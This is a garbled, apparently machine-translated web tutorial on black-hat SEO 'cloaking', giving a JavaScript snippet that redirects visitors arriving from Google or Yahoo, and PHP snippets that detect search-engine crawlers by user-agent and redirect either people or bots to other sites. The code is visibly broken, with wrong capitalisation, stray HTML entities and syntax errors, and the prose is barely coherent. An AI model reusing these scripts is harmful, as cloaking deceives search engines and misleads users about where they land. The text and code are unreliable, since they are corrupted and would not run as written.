According to user-agent judge spider Code Black Hat Jump Code (JS version and PHP version) _javascript tips

Black Hat SEO means that there is a trick that everyone is using, in the server to judge the client browser user-agent and then do further operations,

There's always someone on the Internet using this code first a JS code to determine the site visitors routing if the search engine to the jump if it is direct access is not change this code is from the Internet to find a long time to thank the original author

<script language= "JavaScript" >
var pattern =/google/gi;
var pattern1=/yahoo/gi;
var keyvalue=escape (document.referrer);
if (Pattern.exec (keyvalue))
settimeout (
"windows.location= ' http://www.jb51.net '", 10*1000);
else if (pattern1.exec (keyvalue))
settimeout (
"window.location= ' http://www.jb51.net '", 10*1000);
</script>

If is the search engine's user-agent then 301 jumps The current network many cheats the friendship link is this practice (the code will put in the last)

Specifically there are a lot of ideas, jump, Joe Page and so today just put the code out of PHP code

The declaration code is Baidu down first write a simple
According to PHP's $_server[' http_user_agent '] to judge

<?php $tmp = $_server[' http_user_agent ']; if (Strpos ($tmp, ' Googlebot ')!== false) {    echo ' Google ';} else if (Strpos ($tmp, ' Baiduspider ') >0) {    echo ' Baidu ';} else if (Strpos ($tmp, ' Yahoo! Slurp ')!== false) {    echo ' Yahoo ';} else if (Strpos ($tmp, ' msnbot ')!== F alse) {    echo ' Msn ';} else if (Strpos ($tmp, ' Sosospider ')!== false) {    
echo ' Search ';  else if (Strpos ($tmp, ' Yodaobot ')!== false | | Strpos ($tmp, ' Outfoxbot ')!== false) {    echo ' Youdao ';} else if (Strpos ($tmp, ' Sogou web Spider ')!== false | | Strpos ($tmp, ' Sogou Orion spider ')!== false) {&NBSP;&NBSP;&NBSP;&N
Bsp;echo ' Sogou '; else if (Strpos ($tmp, ' Fast-webcrawler ')!== false) {    echo ' AllTheWeb ';} else if (Strpos ($tmp, ' G Aisbot ')!== false) {    echo ' gais ';} else if (Strpos ($tmp, ' Ia_archiver ')!== false) {  &
Nbsp; echo ' Alexa '; An else if (Strpos ($TMP, ' AltaVista ')!== false) {    echo ' AltaVista ';} else if (Strpos ($tmp, ' Lycos_spider ')!== false) {&
Nbsp;   echo ' Lycos '; else if (Strpos ($tmp, ' Inktomi slurp ')!== false) {    echo ' Inktomi ';}?>

The second paragraph with a jump

<?php $flag = false;
$tmp = $_server[' http_user_agent ']; if (Strpos ($tmp, ' Googlebot ')!== false) {     $flag = true;} else if (Strpos ($tmp, ' Baiduspider ') > 0 {     $flag = true;} else if (Strpos ($tmp, ' Yahoo! Slurp ')!== false) {     $fla
G = true; else if (Strpos ($tmp, ' MSNBot ')!== false) {     $flag = true;} else if (Strpos ($tmp, ' Sosospider ')!= = False) {     $flag = true;} else if (Strpos ($tmp, ' Yodaobot ')!== false | | Strpos ($tmp, ' Outfoxbot ') !== false) {     $flag = true;} else if (Strpos ($tmp, ' Sogou web Spider ')!== false | | Strpos ($TMP, ' so 
Gou Orion spider ')!== false) {     $flag = true;} else if (Strpos ($tmp, ' Fast-webcrawler ')!== false) {
     $flag = true; else if (Strpos ($tmp, ' Gaisbot ')!== false) {     $flag = true;} else if (Strpos ($tmp, ' ia_archiver ') !== false) {     $flag = true; else if (Strpos ($tmp, ' AltaVista ')!== false) {     $flag = true;} else if (Strpos ($tmp, ' Lycos_spider '!== false] {     $flag = true;} else if (Strpos ($tmp, ' Inktomi slurp ')!== false) {  &nbsp
;  $flag = true; } if ($flag = = False) {   header ("location:http://www.jb51.net". $_server[' Request_uri ');  
   //automatically go to http://www.jb51.net corresponding page     //$_server[' Request_uri ' as the path behind the domain name
    //or replaced with header ("location:http://www.jb51.net/abc/d.php");
   exit (); }?>

The third piece of code is judged after 301 jumps

if (Preg_match ("#" (google|slurp@inktomi|yahoo! Slurp|msnbot) #si ", $_server[' Http_user_agent")) {
header ("http/1.1-Moved Permanently");
Header ("location:http://www.saoyu.com/");
Exit;
}}

Black Hat means there is a risk, please use caution. If the recruit's friends feel looking for the back door.